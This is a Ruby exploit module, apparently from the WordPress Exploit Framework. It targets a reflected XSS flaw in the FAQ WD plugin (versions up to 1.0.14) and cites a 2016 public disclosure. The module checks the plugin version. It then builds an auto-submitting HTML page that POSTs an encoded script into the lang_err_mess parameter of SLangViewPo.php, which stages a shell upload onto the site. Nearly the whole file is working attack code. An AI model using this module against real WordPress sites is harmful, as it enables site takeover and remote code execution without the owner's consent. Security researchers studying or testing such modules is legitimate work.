# frozen_string_literal: true

class Wpxf::Exploit::FaqWdReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'FAQ WD <= 1.0.14 Reflected XSS Shell Upload',
      author: [
        'Shravan Kumar', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8455'],
        ['URL', 'http://www.openwall.com/lists/oss-security/2016/04/16/6']
      ],
      date: 'Apr 16 2016'
    )
  end

  def check
    check_plugin_version_from_readme('faq-wd', '1.0.15')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'faq-wd', 'lang', 'views', 'SLangViewPo.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}', {
        lang_err_mess: "<script>#{xss_ascii_encoded_include_script}<\\/script>",
        lang_success_synchron: "#{Utility::Text.rand_alpha(10)}"
      });
    </script></body></html>
    |
  end
end
